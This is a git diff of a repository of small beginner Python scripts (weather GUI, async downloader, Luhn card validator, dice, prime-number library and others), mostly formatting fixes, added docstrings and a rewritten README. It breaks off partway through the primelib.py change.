ce141531e66..1c28f0432cf 100644 --- a/Sum of digits of a number.py +++ b/Sum of digits of a number.py @@ -40,7 +40,7 @@ def addition(num): ): # Checks if number type is none or not. If type is none program exits. print("Try again!") sys.exit() - num = abs(num) # Handle negative numbers + num = abs(num) # Handle negative numbers while num > 0: # Addition- adding the digits in the number. digit = int(num % 10) Sum += digit diff --git a/WeatherGUI.py b/WeatherGUI.py index 62a2fef6bf8..799f714f79a 100644 --- a/WeatherGUI.py +++ b/WeatherGUI.py @@ -1,10 +1,13 @@ import tkinter as tk import requests from bs4 import BeautifulSoup + url = "https://weather.com/en-IN/weather/today/l/32355ced66b7ce3ab7ccafb0a4f45f12e7c915bcf8454f712efa57474ba8d6c8" root = tk.Tk() root.title("Weather") root.config(bg="white") + + def getWeather(): page = requests.get(url) soup = BeautifulSoup(page.content, "html.parser") diff --git a/Web Socket.py b/Web Socket.py index ed1a32ca08a..d49279036bb 100644 --- a/Web Socket.py +++ b/Web Socket.py @@ -1,6 +1,6 @@ # Program to print a data & it's Metadata of online uploaded file using "socket". import socket -from colorama import Fore # this module for Color the font +from colorama import Fore # this module for Color the font # handling the exceptions try: @@ -8,8 +8,8 @@ skt_c.connect(("data.pr4e.org", 80)) link = "GET http://data.pr4e.org/intro-short.txt HTTP/1.0\r\n\r\n".encode() skt_c.send(link) -except(Exception) as e: - # this code runes on error in any connection +except Exception as e: + # this code runes on error in any connection print(Fore.RED, e, Fore.RESET) while True: diff --git a/XML/HTML parsing b/XML/HTML parsing deleted file mode 100644 index 8d8c2825e02..00000000000 --- a/XML/HTML parsing +++ /dev/null @@ -1,21 +0,0 @@ -dinner_recipe = ''' - - - - - -
amtunititem
24slicesbaguette
2+tbspolive oil
1cuptomatoes
1jarpesto
''' - -# From http://effbot.org/zone/element-index.htm -import xml.etree.ElementTree as etree -tree = etree.fromstring(dinner_recipe) - -# For invalid HTML use http://effbot.org/zone/element-soup.htm -# import ElementSoup, StringIO -# tree = ElementSoup.parse(StringIO.StringIO(dinner_recipe)) - -pantry = set(['olive oil', 'pesto']) -for ingredient in tree.getiterator('tr'): - amt, unit, item = ingredient - if item.tag == "td" and item.text not in pantry: - print ("%s: %s %s" % (item.text, amt.text, unit.text)) diff --git a/async_downloader/async_downloader.py b/async_downloader/async_downloader.py index 4f715048905..17fc186b8e8 100644 --- a/async_downloader/async_downloader.py +++ b/async_downloader/async_downloader.py @@ -12,6 +12,14 @@ def download(ways): + """ + Download all files from the given list of URLs. + + Args: + ways (list): A list of URL strings to download. + + Prints progress and final summary of succeeded/failed downloads. + """ if not ways: print("Ways list is empty. Downloading is impossible") return @@ -21,13 +29,10 @@ def download(ways): success_files = set() failure_files = set() - event_loop = asyncio.get_event_loop() - try: - event_loop.run_until_complete( - async_downloader(ways, event_loop, success_files, failure_files) - ) - finally: - event_loop.close() + # asyncio.run() creates a new event loop, runs the coroutine, + # and closes the loop automatically – this fixes the + # "no current event loop" error in Python 3.10+. + asyncio.run(async_downloader(ways, success_files, failure_files)) print("Download complete") print("-" * 100) @@ -43,19 +48,22 @@ def download(ways): print(file) -async def async_downloader(ways, loop, success_files, failure_files): +async def async_downloader(ways, success_files, failure_files): + """ + Asynchronously download multiple files using aiohttp. + + Args: + ways (list): List of URL strings. + success_files (set): Set to collect successful URLs. + failure_files (set): Set to collect failed URLs. + """ async with aiohttp.ClientSession() as session: - coroutines = [ - download_file_by_url( - url, - session=session, - ) - for url in ways - ] + # Create a coroutine for each URL + coroutines = [download_file_by_url(url, session=session) for url in ways] + # Process tasks as they complete for task in asyncio.as_completed(coroutines): fail, url = await task - if fail: failure_files.add(url) else: @@ -63,59 +71,63 @@ async def async_downloader(ways, loop, success_files, failure_files): async def download_file_by_url(url, session=None): + """ + Download a single file from a URL and save it locally. + + Args: + url (str): The URL to download. + session (aiohttp.ClientSession): The session to use for the request. + + Returns: + tuple: (fail, url) where fail is True if download failed, else False. + """ fail = True file_name = basename(url) - assert session + # Ensure a valid session is provided + assert session, "aiohttp session is required" try: async with session.get(url) as response: + # Handle 404 specifically if response.status == 404: - print( - "\t{} from {} : Failed : {}".format( - file_name, url, "404 - Not found" - ) - ) + print(f"\t{file_name} from {url} : Failed : 404 - Not found") return fail, url - if not response.status == 200: + # Any non-200 status is considered a failure + if response.status != 200: print( - "\t{} from {} : Failed : HTTP response {}".format( - file_name, url, response.status - ) + f"\t{file_name} from {url} : Failed : HTTP response {response.status}" ) return fail, url + # Read and save the content data = await response.read() - with open(file_name, "wb") as file: file.write(data) except asyncio.TimeoutError: - print("\t{} from {}: Failed : {}".format(file_name, url, "Timeout error")) + print(f"\t{file_name} from {url}: Failed : Timeout error") except aiohttp.client_exceptions.ClientConnectionError: - print( - "\t{} from {}: Failed : {}".format( - file_name, url, "Client connection error" - ) - ) + print(f"\t{file_name} from {url}: Failed : Client connection error") else: - print("\t{} from {} : Success".format(file_name, url)) + # No exception occurred – download succeeded + print(f"\t{file_name} from {url} : Success") fail = False return fail, url def test(): + """Test the downloader with a list of sample URLs.""" ways = [ "https://www.wikipedia.org", "https://www.ya.ru", "https://www.duckduckgo.com", "https://www.fail-path.unknown", ] - download(ways) diff --git a/batch_file_rename.py b/batch_file_rename.py index 05fa7391916..e0a9d182ad1 100644 --- a/batch_file_rename.py +++ b/batch_file_rename.py @@ -6,7 +6,7 @@ def batch_rename(work_dir, old_ext, new_ext, dry_run=False): """ Batch rename files in a directory from one extension to another. - + Args: work_dir (str): Path to the target directory. old_ext (str): Extension to find (e.g., '.txt' or '.tar.gz'). @@ -25,7 +25,7 @@ def batch_rename(work_dir, old_ext, new_ext, dry_run=False): new_ext = "." + new_ext print(f"[*] Scanning {work_dir} for files with extension '{old_ext}'...") - + found_files = list(work_path.glob(f"*{old_ext}")) if not found_files: print(f"[!] No files found with extension '{old_ext}'.") @@ -34,13 +34,16 @@ def batch_rename(work_dir, old_ext, new_ext, dry_run=False): for file_path in found_files: # Handle compound extensions by checking ends-with if file_path.name.endswith(old_ext): - new_name = file_path.name[:-len(old_ext)] + new_ext + new_name = file_path.name[: -len(old_ext)] + new_ext new_file_path = file_path.with_name(new_name) else: new_file_path = file_path.with_suffix(new_ext) - + if new_file_path.exists(): - print(f"[!] Skip: {new_file_path.name} already exists. Cannot rename {file_path.name}.", file=sys.stderr) + print( + f"[!] Skip: {new_file_path.name} already exists. Cannot rename {file_path.name}.", + file=sys.stderr, + ) continue if dry_run: @@ -68,12 +71,8 @@ def get_parser(): "work_dir", help="The directory where to change extension", ) - parser.add_argument( - "old_ext", help="Old extension (e.g., .txt or txt)" - ) - parser.add_argument( - "new_ext", help="New extension (e.g., .md or md)" - ) + parser.add_argument("old_ext", help="Old extension (e.g., .txt or txt)") + parser.add_argument("new_ext", help="New extension (e.g., .md or md)") parser.add_argument( "--dry-run", action="store_true", diff --git a/billing.py b/billing.py index 451135cc91c..72f7420a06a 100644 --- a/billing.py +++ b/billing.py @@ -1,4 +1,3 @@ - items = {"apple": 5, "soap": 4, "soda": 6, "pie": 7, "cake": 20} total_price = 0 try: diff --git a/blackjack.py b/blackjack.py index 05f25e1f215..2939ff4fa61 100644 --- a/blackjack.py +++ b/blackjack.py @@ -84,7 +84,9 @@ def dealer_choice(): if k == "1": random.shuffle(deck) p_cards.append(deck.pop()) - print("You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards) + print( + "You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards + ) if sum(p_cards) > 21: print("*************You are BUSTED !*************\n Dealer Wins !!") diff --git a/calc_area.py b/calc_area.py index 29fb370cd4a..12ce26ffdcf 100644 --- a/calc_area.py +++ b/calc_area.py @@ -1,6 +1,8 @@ # Author: PrajaktaSathe # Program to calculate the area of - square, rectangle, circle, and triangle - import math as m + + def main(): shape = int( input( diff --git a/cicd b/cicd deleted file mode 100644 index 8b137891791..00000000000 --- a/cicd +++ /dev/null @@ -1 +0,0 @@ - diff --git a/class.dat b/class.dat deleted file mode 100644 index 98ba21098921b7881bfc0d1e4d11d82dee562501..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 157 zcmZo*nL3F90%E6V0FgIi4{K0jZe`*WZ@E+upQ(qlEHSe`tC!Ui-pwKxN4gfE!S-oxpXnV6THn5Y*t X#XAKo#?ixGoS2uA0W#PzHB}D)cBM2H diff --git a/dialogs/messagebox.py b/dialogs/messagebox.py index 2a57cb7d1b4..eea63cf3990 100644 --- a/dialogs/messagebox.py +++ b/dialogs/messagebox.py @@ -1,5 +1,4 @@ -# Use the MessageBox() function to display a simple message box. - from quo.dialog import MessageBox +from quo.text import Text -MessageBox(title="Example dialog window", text="Do you want to continue?") +MessageBox(title=Text("Example dialog window"), text=Text('Do you want to "continue"?')) diff --git a/dialogs/requirements.txt b/dialogs/requirements.txt index 51d89fc61fc..d7e12d59f12 100644 --- a/dialogs/requirements.txt +++ b/dialogs/requirements.txt @@ -1 +1 @@ -quo>=2022.4 +quo>=2022.8 \ No newline at end of file diff --git a/dice.py b/dice.py index 7f05f277683..142e4128cae 100644 --- a/dice.py +++ b/dice.py @@ -1,9 +1,10 @@ import random + class Die: """ A class used to represent a multi-sided die. - + Attributes: sides (int): The number of sides on the die (default is 6). """ @@ -15,7 +16,7 @@ def __init__(self, sides=6): def set_sides(self, num_sides): """ - Validates and sets the number of sides. + Validates and sets the number of sides. A physical die must have at least 4 sides. """ if isinstance(num_sides, int) and num_sides >= 4: @@ -31,9 +32,10 @@ def roll(self): """Returns a random integer between 1 and the number of sides.""" return random.randint(1, self.sides) + # --- Example Usage --- if __name__ == "__main__": d1 = Die(4) # Initialize directly with 4 sides - d2 = Die(12) # A Dungeons & Dragons classic - + d2 = Die(12) # A Dungeons & Dragons classic + print(f"Roll Result: D{d1.sides} -> {d1.roll()}, D{d2.sides} -> {d2.roll()}") diff --git a/dice_roller.py b/dice_roller.py index de805c61646..28e0ee34261 100644 --- a/dice_roller.py +++ b/dice_roller.py @@ -2,36 +2,12 @@ dice_art = { - 1: ("┌─────────┐", - "│ │", - "│ ● │", - "│ │", - "└─────────┘"), - 2: ("┌─────────┐", - "│ ● │", - "│ │", - "│ ● │", - "└─────────┘"), - 3: ("┌─────────┐", - "│ ● │", - "│ ● │", - "│ ● │", - "└─────────┘"), - 4: ("┌─────────┐", - "│ ● ● │", - "│ │", - "│ ● ● │", - "└─────────┘"), - 5: ("┌─────────┐", - "│ ● ● │", - "│ ● │", - "│ ● ● │", - "└─────────┘"), - 6: ("┌─────────┐", - "│ ● ● │", - "│ ● ● │", - "│ ● ● │", - "└─────────┘") + 1: ("┌─────────┐", "│ │", "│ ● │", "│ │", "└─────────┘"), + 2: ("┌─────────┐", "│ ● │", "│ │", "│ ● │", "└─────────┘"), + 3: ("┌─────────┐", "│ ● │", "│ ● │", "│ ● │", "└─────────┘"), + 4: ("┌─────────┐", "│ ● ● │", "│ │", "│ ● ● │", "└─────────┘"), + 5: ("┌─────────┐", "│ ● ● │", "│ ● │", "│ ● ● │", "└─────────┘"), + 6: ("┌─────────┐", "│ ● ● │", "│ ● ● │", "│ ● ● │", "└─────────┘"), } dice = [] @@ -54,4 +30,4 @@ for die in dice: total += die -print(f"total: {total}") \ No newline at end of file +print(f"total: {total}") diff --git a/file_handle/File handle text/counter.py b/file_handle/File handle text/counter.py index 0cf3d03819a..42d3b25f20d 100644 --- a/file_handle/File handle text/counter.py +++ b/file_handle/File handle text/counter.py @@ -14,7 +14,6 @@ # ! Based on requirements of it - ## ! The questions are nothing but test-cases ## ! Make a test thing and handle it. # does it count only alphabets or numerics too? diff --git a/image_compressor.py b/image_compressor.py index 94d584136f6..90249d12972 100644 --- a/image_compressor.py +++ b/image_compressor.py @@ -2,10 +2,11 @@ import sys from PIL import Image + def compress_image(image_path, quality=60): """ Compresses an image by reducing its quality. - + Args: image_path (str): Path to the image file. quality (int): Quality of the output image (1-100). Default is 60. @@ -25,20 +26,21 @@ def compress_image(image_path, quality=60): # Save with reduced quality # Optimize=True ensures the encoder does extra work to minimize size img.save(output_path, quality=quality, optimize=True) - + # Calculate savings original_size = os.path.getsize(image_path) new_size = os.path.getsize(output_path) savings = ((original_size - new_size) / original_size) * 100 - + print(f"[+] Compressed: {output_path}") - print(f" Original: {original_size/1024:.2f} KB") - print(f" New: {new_size/1024:.2f} KB") + print(f" Original: {original_size / 1024:.2f} KB") + print(f" New: {new_size / 1024:.2f} KB") print(f" Saved: {savings:.2f}%") except Exception as e: print(f"[-] Error compressing {image_path}: {e}") + if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python image_compressor.py ") @@ -48,4 +50,4 @@ def compress_image(image_path, quality=60): if os.path.exists(target_file): compress_image(target_file) else: - print(f"Error: File '{target_file}' not found.") \ No newline at end of file + print(f"Error: File '{target_file}' not found.") diff --git a/luhn_algorithm_for_credit_card_validation.py b/luhn_algorithm_for_credit_card_validation.py index 7eac88701f8..5951da747ff 100644 --- a/luhn_algorithm_for_credit_card_validation.py +++ b/luhn_algorithm_for_credit_card_validation.py @@ -1,41 +1,131 @@ +#!/usr/bin/env python3 """ -The Luhn Algorithm is widely used for error-checking in various applications, such as verifying credit card numbers. - -By building this project, you'll gain experience working with numerical computations and string manipulation. +Luhn Algorithm – Credit Card Number Validation +This module provides a function to validate a card number using the Luhn algorithm. +It also includes a command-line interface and a set of unit tests. """ -# TODO: To make it much more better and succint +import sys + + +def clean_card_number(card_number: str) -> str: + """ + Remove all non-digit characters from the input string. + + Args: + card_number: Raw input possibly containing spaces, hyphens, etc. + + Returns: + A string containing only digits. + + Raises: + ValueError: If after cleaning no digits remain. + """ + cleaned = "".join(ch for ch in card_number if ch.isdigit()) + if not cleaned: + raise ValueError("Card number must contain at least one digit.") + return cleaned + + +def validate_luhn(card_number: str) -> bool: + """ + Verify whether a given card number (as a string of digits) passes the Luhn check. + The algorithm: + - Reverse the digits. + - Sum the digits in odd positions (1st, 3rd, ... from the right) as-is. + - For digits in even positions (2nd, 4th, ... from the right), double them; + if the result is >9, subtract 9. + - The card is valid if the total sum is a multiple of 10. -def verify_card_number(card_number): - sum_of_odd_digits = 0 - card_number_reversed = card_number[::-1] - odd_digits = card_number_reversed[::2] + Args: + card_number: A string of digits (no separators). - for digit in odd_digits: - sum_of_odd_digits += int(digit) + Returns: + True if the number passes the Luhn check, False otherwise. - sum_of_even_digits = 0 - even_digits = card_number_reversed[1::2] - for digit in even_digits: - number = int(digit) * 2 - if number >= 10: - number = (number // 10) + (number % 10) - sum_of_even_digits += number - total = sum_of_odd_digits + sum_of_even_digits + Raises: + ValueError: If card_number contains non-digit characters. + """ + if not card_number.isdigit(): + raise ValueError("Card number must contain only digits.") + + # Work from the rightmost digit + reversed_digits = [int(d) for d in card_number[::-1]] + + # Sum digits at odd positions (1-indexed from the right) + odd_sum = sum(reversed_digits[0::2]) # indices 0,2,4,... + + # Sum digits at even positions after doubling and subtracting 9 if >=10 + even_sum = 0 + for d in reversed_digits[1::2]: # indices 1,3,5,... + doubled = d * 2 + even_sum += doubled if doubled < 10 else doubled - 9 + + total = odd_sum + even_sum return total % 10 == 0 -def main(): - card_number = "4111-1111-4555-1142" - card_translation = str.maketrans({"-": "", " ": ""}) - translated_card_number = card_number.translate(card_translation) +def main() -> None: + """Command-line entry point. Reads a card number from the user and prints validation result.""" + try: + raw = input("Enter a credit card number (e.g., 4111-1111-4555-1142): ").strip() + cleaned = clean_card_number(raw) + + if validate_luhn(cleaned): + print("VALID!") + else: + print("INVALID!") + + except ValueError as e: + print(f"Error: {e}", file=sys.stderr) + sys.exit(1) - if verify_card_number(translated_card_number): - print("VALID!") - else: - print("INVALID!") +# =========================== Tests (pytest) =========================== -main() + +# =========================== Tests (pytest) =========================== + + +def test_clean_card_number(): + """Test cleaning function.""" + import pytest + + assert clean_card_number("4111-1111-4555-1142") == "4111111145551142" + assert clean_card_number(" 123 ") == "123" + with pytest.raises( + ValueError, match="Card number must contain at least one digit." + ): + clean_card_number("") + + +def test_validate_luhn_valid(): + """Known valid cards.""" + assert validate_luhn("4111111111111111") is True + assert validate_luhn("5555555555554444") is True + assert validate_luhn("378282246310005") is True + + +def test_validate_luhn_invalid(): + """Known invalid card numbers.""" + assert validate_luhn("1234567890") is False + assert validate_luhn("4111111111111112") is False + + +def test_validate_luhn_non_digit(): + """Should raise ValueError on non-digit input.""" + import pytest + + with pytest.raises(ValueError, match="only digits"): + validate_luhn("1234abc") + + +if __name__ == "__main__": + if "--test" in sys.argv: + import pytest + + sys.exit(pytest.main([__file__])) + else: + main() diff --git a/magic8ball.py b/magic8ball.py deleted file mode 100644 index 816705b8e21..00000000000 --- a/magic8ball.py +++ /dev/null @@ -1,63 +0,0 @@ -import random -from colorama import Fore, Style -import inquirer - -responses = [ - "It is certain", - "It is decidedly so", - "Without a doubt", - "Yes definitely", - "You may rely on it", - "As I see it, yes", - "Most likely", - "Outlook good", - "Yes", - "Signs point to yes", - "Do not count on it", - "My reply is no", - "My sources say no", - "Outlook not so good", - "Very doubtful", - "Reply hazy try again", - "Ask again later", - "Better not tell you now", - "Cannot predict now", - "Concentrate and ask again", -] - - -# Will use a class on it. -# Will try to make it much more better. -def get_user_name(): - return inquirer.text( - message="Hi! I am the magic 8 ball, what's your name?" - ).execute() - - -def display_greeting(name): - print(f"Hello, {name}!") - - -def magic_8_ball(): - question = inquirer.text(message="What's your question?").execute() - answer = random.choice(responses) - print(Fore.BLUE + Style.BRIGHT + answer + Style.RESET_ALL) - try_again() - - -def try_again(): - response = inquirer.list_input( - message="Do you want to ask more questions?", - choices=["Yes", "No"], - ).execute() - - if response.lower() == "yes": - magic_8_ball() - else: - exit() - - -if __name__ == "__main__": - user_name = get_user_name() - display_greeting(user_name) - magic_8_ball() diff --git a/mapit.py b/mapit.py index 27fb71a92fc..73d8666d7b7 100644 --- a/mapit.py +++ b/mapit.py @@ -1,6 +1,7 @@ import sys import webbrowser import pyperclip + if len(sys.argv) > 1: address = " ".join(sys.argv[1:]) diff --git a/negative.py b/negative.py index ee023d0f6ab..d5250e33ac6 100644 --- a/negative.py +++ b/negative.py @@ -1,6 +1,6 @@ -a= abs(int(input("enter any number"))) -b=0 +a = abs(int(input("enter any number"))) +b = 0 for i in str(a): - b+=int(i) + b += int(i) -print(b) \ No newline at end of file +print(b) diff --git a/new.py b/new.py deleted file mode 100644 index c5058551ec7..00000000000 --- a/new.py +++ /dev/null @@ -1,3 +0,0 @@ - -print("Hello, world!") - diff --git a/notepad/notepad_support.py b/notepad/notepad_support.py index 4f9ea1321b9..9faf0ecabc7 100644 --- a/notepad/notepad_support.py +++ b/notepad/notepad_support.py @@ -7,6 +7,7 @@ import sqlite3 import tkinter as tk + try: from Tkinter import * except ImportError: diff --git a/passwordGen.py b/passwordGen.py index 56ab3b462a1..9c0aadc2597 100644 --- a/passwordGen.py +++ b/passwordGen.py @@ -1,4 +1,5 @@ import random + lChars = "abcdefghijklmnopqrstuvwxyz" uChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" digits = "1234567890" @@ -20,4 +21,4 @@ for _ in range(2): myPass += random.choice(uChars) -print(myPass) +print(myPass) diff --git a/password_checker_code.py b/password_checker_code.py index 788b928d6b7..1821f1c27d6 100644 --- a/password_checker_code.py +++ b/password_checker_code.py @@ -1,12 +1,13 @@ import string + def check_password_strength(password): strength = 0 - + # Criteria 1: Length (Must be at least 8 characters) if len(password) >= 8: strength += 1 - + # Criteria 2: Must contain Digits (0-9) has_digit = False for char in password: @@ -15,7 +16,7 @@ def check_password_strength(password): break if has_digit: strength += 1 - + # Criteria 3: Must contain Uppercase Letters (A-Z) has_upper = False for char in password: @@ -24,9 +25,10 @@ def check_password_strength(password): break if has_upper: strength += 1 - + return strength + if __name__ == "__main__": print("--- Password Strength Checker ---") # Note: We cannot run input() on the website, but this code is correct. diff --git a/photo_timestamp_renamer.py b/photo_timestamp_renamer.py index ba5df2ed9f1..ac8be102b74 100644 --- a/photo_timestamp_renamer.py +++ b/photo_timestamp_renamer.py @@ -29,6 +29,7 @@ # EXIF support is optional (w\ Pillow) try: from PIL import Image, ExifTags # type: ignore + PIL_OK = True except Exception: PIL_OK = False @@ -166,13 +167,22 @@ def rename_photos(opts: Options) -> int: def main(argv: list[str]) -> int: - ap = argparse.ArgumentParser(description="Auto-rename photos using EXIF date (or file modified time).") + ap = argparse.ArgumentParser( + description="Auto-rename photos using EXIF date (or file modified time)." + ) ap.add_argument("folder", help="Folder containing photos") ap.add_argument("--recursive", action="store_true", help="Process subfolders too") - ap.add_argument("--dry-run", action="store_true", help="Preview changes without renaming") - ap.add_argument("--prefix", default="", help="Optional prefix (e.g., Japan, RWTH, Trip)") - ap.add_argument("--keep-original", action="store_true", - help="Skip files that already match YYYY-MM-DD_HH-MM-SS naming") + ap.add_argument( + "--dry-run", action="store_true", help="Preview changes without renaming" + ) + ap.add_argument( + "--prefix", default="", help="Optional prefix (e.g., Japan, RWTH, Trip)" + ) + ap.add_argument( + "--keep-original", + action="store_true", + help="Skip files that already match YYYY-MM-DD_HH-MM-SS naming", + ) args = ap.parse_args(argv) folder = Path(args.folder).expanduser() @@ -181,7 +191,9 @@ def main(argv: list[str]) -> int: return 2 if not PIL_OK: - print("[Note] Pillow not installed; EXIF dates won't be read (mtime fallback only).") + print( + "[Note] Pillow not installed; EXIF dates won't be read (mtime fallback only)." + ) print(" Install for best results: pip install pillow") opts = Options( diff --git a/primelib/Prime.txt b/primelib/Prime.txt deleted file mode 100644 index 801324b3c35..00000000000 --- a/primelib/Prime.txt +++ /dev/null @@ -1,22 +0,0 @@ -# Program to check if a number is prime or not - -num = 407 - -# To take input from the user -#num = int(input("Enter a number: ")) - -# prime numbers are greater than 1 -if num > 1: - # check for factors - for i in range(2,num): - if (num % i) == 0: - print(num,"is not a prime number") - print(i,"times",num//i,"is",num) - break - else: - print(num,"is a prime number") - -# if input number is less than -# or equal to 1, it is not prime -else: - print(num,"is not a prime number") diff --git a/primelib/README b/primelib/README deleted file mode 100644 index 321fb4bb19a..00000000000 --- a/primelib/README +++ /dev/null @@ -1,186 +0,0 @@ -Free open-source library from Christian Bender - -This python library contains some useful functions to deal with -prime numbers and whole numbers. - -The file primelib.py or primliby.pyc will simply import by the import-statement. -Important primelib.py or primelib.pyc must been in your project directory. - -Example: (In your project) - -import primelib - -print primelib.isPrime(13) // will print out 'True' -print primelib.primeFactorization(40) // will print out [2,2,2,5] - -OR - -from primelib import * - -print isPrime(...) - -More information about the functions. - -help(function_name) - -For example: - -help(isPrime) - ---------------------------- - -Overview about functions: - -------------------------- - -isPrime (number) - -input: positive integer 'number' -returns true if 'number' is prime otherwise false. - -------------------------- - -sieveEr (N) - -input: positive integer 'N' > 2 -returns a list of prime numbers from 2 up to N. - -This function implements the algorithm called -sieve of erathostenes. - ---------------------------- - -getPrimeNumbers (N) - -input: positive integer 'N' > 2 -returns a list of prime numbers from 2 up to N (inclusive) -This function is more efficient as function sieveEr(...) - - ----------------------------- - -primeFactorization (number) - -input: positive integer 'number' -returns a list of the prime number factors of 'number' - -------------------------------- - -greatestPrimeFactor (number) - -input: integer 'number' >= 0 -returns the greatest prime number factor of 'number' - ---------------------------------- - -smallestPrimeFactor (number) - -input: integer 'number' >= 0 -returns the smallest prime number factor of 'number' - ----------------------------------- - -getPrime (n) - -Gets the n-th prime-number. - -input: positive integer 'n' >= 0 -returns the n-th prime number, beginning at index 0 - -------------------------------------- - -getPrimesBetween (pNumber1, pNumber2) - -input: prime numbers 'pNumber1' and 'pNumber2' -precondition: pNumber1 < pNumber2 -returns a list of all prime numbers between 'pNumber1' (exclusiv) - and 'pNumber2' (exclusiv) - --------------------------------------- - -isEven (number) - -input: integer 'number' -returns true if 'number' is even, otherwise false. - ------------------------------------ - -isOdd (number) - -input: integer 'number' -returns true if 'number' is odd, otherwise false. - ------------------------------------- - -gcd (number1, number2) - -Greatest common divisor - -input: two positive integer 'number1' and 'number2' -returns the greatest common divisor of 'number1' and 'number2' - -------------------------------------- - -kgV (number1, number2) - -Least common multiple - -input: two positive integer 'number1' and 'number2' -returns the least common multiple of 'number1' and 'number2' - ------------------------------------------ - -NEW-FUNCTION - -getDivisors (number) - -input: positive integer 'n' >= 1 -returns all divisors of n (inclusive 1 and 'number') - -------------------------------------------- - -NEW-FUNCTIONS - -isPerfectNumber (number) - -input: positive integer 'number' > 1 -returns true if 'number' is a perfect number otherwise false. - ---------------------------------------- - -NEW-FUNCTION - -simplifyFraction (numerator, denominator) - -input: two integer 'numerator' and 'denominator' -assumes: 'denominator' != 0 -returns: a tuple with simplify numerator and denominator. - ----------------------------------------------- - -NEW-FUNCTION - -factorial (n) - -input: positive integer 'n' -returns the factorial of 'n' (n!) - - ------------------------------------------------ - -NEW-FUNCTION - -fib (n) - -input: positive integer 'n' -returns the n-th fibonacci term , indexing by 0 - - ------------------------------------------------ - -goldbach(number) - -Goldbach's assumption - -input: a even positive integer 'number' > 2 -returns a list of two prime numbers whose sum is equal to 'number' diff --git a/primelib/README.md b/primelib/README.md new file mode 100644 index 00000000000..4004e750f88 --- /dev/null +++ b/primelib/README.md @@ -0,0 +1,145 @@ + +# Prime Number Utilities + +**Free open-source library** – originally by Christian Bender, now accelerated with **SymPy** and fully type‑hinted. + +This Python library provides a comprehensive set of functions for dealing with prime numbers and general number theory: +- Primality testing +- Prime generation (Sieve of Eratosthenes, nth prime, interval primes) +- Prime factorization (with multiplicity) +- Greatest / smallest prime factor +- GCD & LCM +- Divisor enumeration +- Perfect number detection +- Fraction simplification +- Factorial and Fibonacci +- Goldbach's conjecture +- High‑precision π calculation (Chudnovsky algorithm) + +--- + +## 📦 Requirements + +- Python 3.8 or newer (for type hints) +- [SymPy](https://www.sympy.org/) – for fast number‑theoretic operations + +Install SymPy with: + +```bash +pip install sympy +``` + +On Termux (Android), you can also try: + +```bash +pkg install python-sympy +``` + +or simply use pip. + +--- + +🚀 Installation + +Just copy primelib.py into your project directory, then import it: + +```python +import primelib +# or +from primelib import * +``` + +--- + +📖 Function Reference + +Function Description +isPrime(number) Returns True if number is prime, otherwise False. +sieveEr(N) Returns a list of all primes ≤ N (Sieve of Eratosthenes). +getPrimeNumbers(N) Alias for sieveEr. +getPrime(n) Returns the n‑th prime (0‑based: 0 → 2, 1 → 3, 3 → 7, …). +getPrimesBetween(p1, p2) Returns all primes strictly between primes p1 and p2. +primeFactorization(number) Returns a list of prime factors with multiplicity (e.g., 12 → [2, 2, 3]). +greatestPrimeFactor(number) Largest prime factor. +smallestPrimeFactor(number) Smallest prime factor. +gcd(a, b) Greatest common divisor (non‑negative integers). +kgV(a, b) Least common multiple (positive integers). +getDivisors(n) All positive divisors of n (including 1 and n). +isPerfectNumber(number) True if number equals the sum of its proper divisors. +simplifyFraction(num, den) Reduces a fraction to lowest terms, returns (num, den). +factorial(n) n! (uses C‑level math.factorial). +fib(n) n‑th Fibonacci number (0‑based: fib(0)=1, fib(1)=1). +goldbach(number) Returns two primes summing to even number > 2. +pi(maxK=70, prec=1008, disp=1007) Computes π using Chudnovsky algorithm, returns a string. + +--- + +💻 Usage Examples + +```python +import primelib + +# Primality test +print(primelib.isPrime(13)) # True +print(primelib.isPrime(100)) # False + +# Prime factorization +print(primelib.primeFactorization(40)) # [2, 2, 2, 5] + +# Get the 5th prime (0‑based → index 5 → 13) +print(primelib.getPrime(5)) # 13 + +# All primes between 10 and 30 +print(primelib.getPrimesBetween(10, 30)) # [11, 13, 17, 19, 23, 29] + +# GCD and LCM +print(primelib.gcd(48, 18)) # 6 +print(primelib.kgV(48, 18)) # 144 + +# Divisors and perfect number +print(primelib.getDivisors(28)) # [1, 2, 4, 7, 14, 28] +print(primelib.isPerfectNumber(28)) # True + +# Fraction simplification +print(primelib.simplifyFraction(12, 8)) # (3, 2) + +# Factorial and Fibonacci +print(primelib.factorial(5)) # 120 +print(primelib.fib(5)) # 8 + +# Goldbach +print(primelib.goldbach(28)) # [5, 23] + +# Pi (first 10 digits) +print(primelib.pi(5, 20, 12)) # 3.1415926535 +``` + +--- + +🧪 Testing + +The module includes doctests embedded in each function’s docstring. +Run them with: + +```bash +python -m doctest -v primelib.py +``` + +Or simply execute: + +```bash +python primelib.py +``` + +to run all tests verbosely. + +--- + +📝 API Documentation (Detailed) + +You can view the full docstring of any function with Python’s help(): + +```python +help(primelib.isPrime) +help(primelib.primeFactorization) +``` \ No newline at end of file diff --git a/primelib/primelib.py b/primelib/primelib.py index e43f267c7d2..bd7c708f8be 100644 --- a/primelib/primelib.py +++ b/primelib/primelib.py @@ -1,634 +1,326 @@ # -*- coding: utf-8 -*- """ -Created on Thu Oct 5 16:44:23 2017 - -@author: Christian Bender - -This python library contains some useful functions to deal with -prime numbers and whole numbers. - -Overview: - -isPrime(number) -sieveEr(N) -getPrimeNumbers(N) -primeFactorization(number) -greatestPrimeFactor(number) -smallestPrimeFactor(number) -getPrime(n) -getPrimesBetween(pNumber1, pNumber2) - ----- - -isEven(number) -isOdd(number) -gcd(number1, number2) // greatest common divisor -kgV(number1, number2) // least common multiple -getDivisors(number) // all divisors of 'number' inclusive 1, number -isPerfectNumber(number) - -NEW-FUNCTIONS - -simplifyFraction(numerator, denominator) -factorial (n) // n! -fib (n) // calculate the n-th fibonacci term. - ------ - -goldbach(number) // Goldbach's assumption - +Prime Number Utilities – A comprehensive library for prime‑related operations. + +This module is accelerated using the SymPy library for heavy computations +(isprime, factorint, primerange, prime). All functions maintain the same +interface as the original version, with improved performance and full type hints. + +Examples: + >>> isPrime(7) + True + >>> getPrime(3) # 0‑based: 2,3,5,7... + 7 + >>> primeFactorization(12) + [2, 2, 3] """ +import math +from functools import lru_cache +from sympy import isprime, factorint, primerange, prime as sympy_prime -def pi(maxK=70, prec=1008, disp=1007): - """ - maxK: 